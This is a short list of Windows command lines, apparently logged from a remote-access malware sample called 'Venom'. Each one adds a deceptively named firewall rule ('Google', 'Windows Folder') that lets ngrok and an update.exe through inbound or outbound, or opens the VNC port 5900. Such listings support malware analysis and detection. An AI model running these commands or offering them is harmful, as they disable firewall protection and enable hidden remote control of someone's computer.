- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Google" -Direction Outbound -Program "%APPDATA%\Venom\ngrok.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Google" -Direction Outbound -Program "%APPDATA%\Venom\ngrok.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Google" -Direction Inbound -Program "%APPDATA%\Venom\ngrok.exe" -Action Allow
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Windows Folder" -Direction Inbound -Program "%APPDATA%\Venom\update.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k start /b netsh advfirewall firewall add rule name=vnc action=allow dir=in protocol=tcp localport=5900 & exit
